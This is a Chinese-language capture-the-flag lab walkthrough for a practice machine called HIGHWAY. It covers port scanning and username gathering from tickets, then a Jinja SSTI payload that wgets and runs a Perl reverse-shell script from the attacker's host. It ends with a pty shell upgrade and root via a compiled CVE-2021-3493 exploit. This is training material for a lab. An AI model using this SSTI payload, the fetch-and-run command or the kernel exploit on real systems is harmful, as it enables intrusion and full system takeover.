靶场练习(5):HIGHWAY

靶机ip:172.16.33.29

突破

端口扫描

sudo nmap -p- 172.16.33.29 --open

结果如下:

在这里插入图片描述

特定端口扫描

sudo nmap -p22,80,5000,31337 -sV -A 172.16.33.29

结果如下(31337的无用信息过长,在此省略):

在这里插入图片描述

针对5000端口

看到5000端口是httpd,则尝试访问http://172.16.33.29:5000,如图所示:

在这里插入图片描述
依此点开2792/4567/8345/7723/2984/2973,并将其中的内容进行翻译:

在这里插入图片描述

2792:
目前门票管理和观看系统是开放的,不需要任何形式的授权。我们应该添加对通过密码和用户API密钥或令牌进行授权的支持。

在这里插入图片描述

4567:
删除票据创建服务上存在的所有默认用户,因为为意外访客留下任何入口点可能是非常危险的。此外,我还建议增加对密码复杂性的检查。

在这里插入图片描述

8345:
有一些问题与postgres查询,我认为这需要尽快解决

在这里插入图片描述

7723:
我们知道umang已经辞职了,所以在我们找到接替者之前,Jack将负责风险限制UI的领导工作。RLUI团队必须让Jack了解所有正在发生的发展。

在这里插入图片描述

2984:
这是对服务台的请求,因为很多人(杰森,大卫,弗雷迪等)不是被解雇就是辞职。如果我们能从系统中删除他们的账户和权限就太好了。

在这里插入图片描述

2973:
提醒一下,蜜罐项目的最后期限是下周,我们最好尽快完成。

从以上信息中,我们得到了几个可能的用户名:
guests,umang,jack,jason,david,freddy

针对31337端口

尝试用nc登录31337端口,发现要输入账号密码,将上面所有的用户名作为账密登录一遍后发现guest-guest可以登录进去:

在这里插入图片描述

按照提示输入help看指令都有哪些,发现可以增删ticket,先随便创建一个试试看:

在这里插入图片描述

在5000端口里看到了创建的信息:

在这里插入图片描述

通过他可以将用户输入的信息进行展示这一点,猜测其有ssti漏洞。
测试一下,在内容处输入“{{7*7}}”(此处为尝试jinja模版语言):

在这里插入图片描述

显示结果“49”,印证猜测

在这里插入图片描述

尝试编写脚本:

{{request | attr('application') | attr('__globals__') | attr('__getitem__')('__builtins__') | attr('__getitem__')('__import__')('os') | attr('popen')('wget http://<本地ip>/<脚本文件名>.pl;perl <脚本文件名>.pl') | attr('read')() }}

其大概意思是通过wget从本地上传一个perl语言脚本(此处本地需要开启python传输),perl语言脚本可以用kali自带的reverse_perl,将其中的ip和端口号改成自己的即可:

在这里插入图片描述

做好端口监听,访问该ticket

在这里插入图片描述

反弹成功,突破完成。

在这里插入图片描述

提权

升级终端

python3 -c 'import pty;pty.spawn("/bin/bash")'

通过内核漏洞进行提权

查看ubuntu版本和linux内核号:

在这里插入图片描述

尝试用CVE-2021-3493漏洞进行提权:

通过wget和python传输功能将exploit.c传输到目标机的/tmp目录,进行现场编译,改权限,执行操作:

gcc -o abc exploit.c --static
chmod +x abc
./abc

查看id:

在这里插入图片描述

提权成功,打靶完成。

  • 9
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值